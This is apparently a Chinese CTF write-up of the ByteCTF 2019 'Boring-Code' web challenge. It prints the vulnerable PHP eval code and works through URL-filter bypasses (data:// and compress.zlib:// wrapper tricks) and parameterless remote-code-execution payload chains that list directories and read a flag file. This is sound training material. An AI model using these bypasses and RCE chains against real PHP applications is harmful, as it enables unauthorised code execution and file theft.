简介

 原题复现:

 考察知识点:无参数命令执行、绕过filter_var(), preg_match()

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

环境复现

目录

www/flag  flag文件
www/code/code.php

代码

 1 <?php
2 function is_valid_url($url) {
3 //FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
4 if (filter_var($url, FILTER_VALIDATE_URL)) {
5 if (preg_match('/data:\/\//i', $url)) {
6 return false;
7 }
8 return true;
9 }
10 return false;
11 }
12
13
14 if (isset($_POST['url'])){
15 $url = $_POST['url'];
16 if (is_valid_url($url)) {
17 $r = parse_url($url);
18 var_dump($r);
19 if (preg_match('/baidu\.com$/', $r['host'])) {
20 $code = file_get_contents($url);
21 var_dump($code);
22 if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
23 if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
24 echo 'bye~';
25 } else {
26 eval($code);
27 }
28 }
29 } else {
30 echo "error: host not allowed";
31 }
32 } else {
33 echo "error: invalid url";
34 }
35 }else{
36 highlight_file(__FILE__);
37 }

审计分析

绕过URL过滤??
通过post传入url值后显示进行is_valid_url这个函数的验证  函数使用了fileter_var()里面的FILTER_VALIDATE_URL这个过滤器来过滤url  为真后 又有一个preg_match正则的判断 不能含有data:\\ 这个东西
到了第18行还有个过滤 将解析后的url的host部分进行正则匹配必须要baidu.com为结尾 才能匹配成功 我们把这里作为第一层先绕过
 
下来就到这一块核心的地方了 考的是无参数RCE
25行的限制只能是a(b())的形式,同时稚嫩共包含字母
26行则限制了很多函数。。那些没被限制我们可以fuzz下 我们把这里作为第二层绕过

绕过第一层

1.额外知识增加(如何绕过filter_var和parse_url)

data://伪协议的利用
如果没有上面第5行的过滤data我们看如何绕过?
可以使用data://伪协议形式绕过
data://text/plain;base64,xxxx
parser_url会将text部分作为host 所以再进行验证的时候就能绕过了  并且PHP对MIME不敏感,我们可以将一些东西注入到MIME中
data://baidu.com/plain;base64,xxxx
将代码中的data://正则验证注释可测试
payload:
POST:url=data://baidu.com/plain,echo('1111')
//string(12) "echo('1111')"
0://hua.com;baidu.com //可以绕过FILTER_VALIDATE_URL过滤器
参考学习来源
 
回到正题有data验证怎么办呢这时候上面的方法根本没办法用。

方法一:使用compress.zlib方式

payload
url=compress.zlib://data:@baidu.com/baidu.com?,echo('1111')

方法二:购买一个xxxbaidu.com的域名(未测试)

购买之后绑定到服务器上 再上传文件下来步骤跟方法三一样

方法三:百度网盘链接

(在这个程序过滤中不行!因为百度云默认有空格 只能自己搭建服务了)
上传1.php  找到下载链接打开1.php编辑从响应里面找。
 
环境测试
搭建测试环境要php.ini修改3个地方 我使用的kali linux2020不用修改默认   本机win10可能需要修改
extension=php_openssl.dll  开启PHPssl扩展
allow_url_include = On 允许引入URL文件
allow_url_fopen = On 允许打开url文件
在linux服务环境下测试成功
windows环境搭建的服务因为post长度限制可能 发现打过去的post会被截断部分导致失败

方法四:使用ftp协议(未测试)

ftp://ip:port,baidu.com:80/filename.txt

方法五:百度的一个任意跳转漏洞(未测试)

post.baidu.com

第二层正则绕过

第二层考点是无参数rce

获取所有的php函数并保存文件为function.txt
<?php
$a = get_defined_functions()['internal'];
$file = fopen("function.txt","w+");
foreach ($a as $key ) {
echo fputs($file,$key."\r\n");
}
fclose($file);
?>
python 这样就能得到那些php没被过滤掉
import re
f = open('function.txt','r')
for i in f:
function = re.findall(r'/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log',i)
if function == [] and not '_' in i:
print(i) 
根据题目得到flag再上层目录下 所有我们要构造读取上层目录下的文件
 

方法一 phpversion()

    sqrt() : 返回一个数字的平方根
tan() : 返回一个数字的正切
cosh() : 返回一个数字的双曲余弦
sinh() : 返回一个数字的双曲正弦
ceil() : 返回不小于一个数字的下一个整数 , 也就是向上取整
一个点的ascii值 看wp大佬用数学函数写了个脚本实现计算  
<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){
if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";
}}}}}}}}
?>
这样得到的部分payload解决了我们参数“.”的传递

最终payload:

url=compress.zlib://data:@baidu.com/baidu.com?,echo(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));

参考学习:http://www.guildhab.top/?p=1077

     https://xz.aliyun.com/t/6737

 

方法二 localtime()+localeconv()

分析一个师傅的payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
 
scandir()   列出目录中的文件和目录。
end() 将内部指针指向数组中的最后一个元素,并输出。
readfile() 输出一个文件
current() 返回数组当前单元
也就是说要这样构造 但是这个题过滤了参数 怎么办?
readfile(end(scandir('.')));
 
这个函数返回的第一个元素就是. 我们可以用current来获取数组中的当前单元 但是这个被过滤了怎么办?
localeconv()   函数返回一包含本地数字及货币格式信息的数组。
 
我们可以使用current()函数的别名pos()函数 这样返回的就是 “.”
pos(localeconv())
这个pyaload如果flag再当前目录可用 但是原题flag不再当前目录怎么办?
readfile(end(scandir(pos(localeconv()))));
读取当前目录下的最后一个文件输出到页面上
 
因为flag再上层目录 我们还需要chrdir() next来重新定义一下php当前目录,再使用readfile来读取文件
chdir()函数改变当前的目录
next()函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的".." 
返回上一层payload
chdir(next(scandir(pos(localeconv()))));
返回上一层之后  我们想读文件 但是改变目录执行成功只返回一个1 所以我们需要再构造一个"." 来用上述方法来获取flag 那怎么构造?可以用localtime()函数 来返回46 再用chr转就成了"."
localtime(timestamp,is_assoc);取得本地时间
timestamp 可选,规定Unix时间戳 如未规定则默认time()
is_assoc 可选 规定返回关联数组还是索引数组 如果FALSE则返回索引 默认False
payload 每46秒的时候就会返回"." 
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))
再和读取文件方式组合一下的最终payload
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

参考学习:https://xz.aliyun.com/t/6316

方法三 if()

使用chdir()返回0和1 来用if判断并执行后面的语句进行文件读取
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

[原题复现]ByteCTF 2019 –WEB- Boring-Code[无参数rce、绕过filter_var(),等]的更多相关文章

  1. [原题复现][CISCN 2019 初赛]WEB-Love Math(无参数RCE)[未完结]

    简介  原题复现:  考察知识点:无参数命令执行  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 源码审计 代码 1 ...

  2. [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)

    简介  原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...

  3. [原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)

    简介  原题复现:  考察知识点:无参数命令执行.Fuzz  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 环境复现 ...

  4. [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]

    前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...

  5. [原题复现][极客大挑战 2019]HardSQL(updatexml报错注入)

    简介  原题复现:  考察知识点:SQL注入(报错注入,绕过过滤)  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台 特别感谢!) 榆林学院内可使用信安协会内部的CTF训练平 ...

  6. [原题复现+审计][SUCTF 2019] WEB CheckIn(上传绕过、.user.ini)

    简介  原题复现:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn  考察知识点:上传绕过..user.ini  线上平台:h ...

  7. [原题复现+审计][ZJCTF 2019] WEB NiZhuanSiWei(反序列化、PHP伪协议、数组绕过)

    简介  原题复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/  考察知识点:反序列化.PHP伪协议.数组绕过   ...

  8. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  9. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

随机推荐

  1. Linux命令之tab 键补全

    tab 键补全 tab 键可以实现命令及路径等补全,提高输入效率,避免出错 命令补全 用户给定的字符串只有一条惟一对应的命令,直接补全, 两次Tab会给出列表 内部命令: 外部命令:bash根据PAT ...

  2. Docker结合.Net Core初步使用

    Docker是一项比较流行的容器化技术,可以让开发者将应用以及应用依赖的环境,依赖包一起打包到容器中,然后部署容器到生产环境就可以了,解决了应用程序部署到不同服务器环境带来的问题(很多开发人员都遇到过 ...

  3. Python基础知识点整理(详细)

    Python知识点整理(详细) 输出函数 print()可以向屏幕打印内容,或者在打开指定文件后,向文件中输入内容 输入函数 input([prompt])[prompt] 为输入的提示字符.该函数返 ...

  4. Python基础知识,新手入门看过来

    1 下载和安装Python 在开始编程之前,你需要安装Python解析器软件(这里你可能需要找人帮忙).解析器是一个可以理解你用Python语言写的指令的程序.如果没有解析器,你的计算机不会理解这些指 ...

  5. byte + byte = int

    byte+byte=int,低级向高级是隐式类型转换,高级向低级必须强制类型转换,byte<char<short<int<long<float<double

  6. Oracle一些常用操作语句

    --创建oracle登录用户 create user CHECKDATAUSER   identified by "bsoft"   default tablespace PBPG ...

  7. 你不知道的那些js调试命令

    通常情况下,我们在调试js程序的时候一般都使用console.log()来进行程序的调试,打印自己所需要的内容什么的. 那么js的调试命令可不止一个console.log() 分类输出 console ...

  8. django 连接 mysql数据库

    1.安装mysqlclient pip install mysqlclient 或 pycharm --> File --> settings --> Project: (项目名称) ...

  9. TCP/IP 基础知识

    我把自己以往的文章汇总成为了 Github ,欢迎各位大佬 star https://github.com/crisxuan/bestJavaer 已提交此篇文章 要说我们接触计算机网络最多的协议,那 ...

  10. 通过Azure bot framework composer 设计一个AI对话机器人bot(查询天气)

    本文介绍通过机器人框架设计器 (Bot framework composer)接近拖拉拽的方式设计一个聊天机器人,该聊天机器人的主要功能是发起http请求查询天气.当然,稍微变通下,可以用来查询几乎任 ...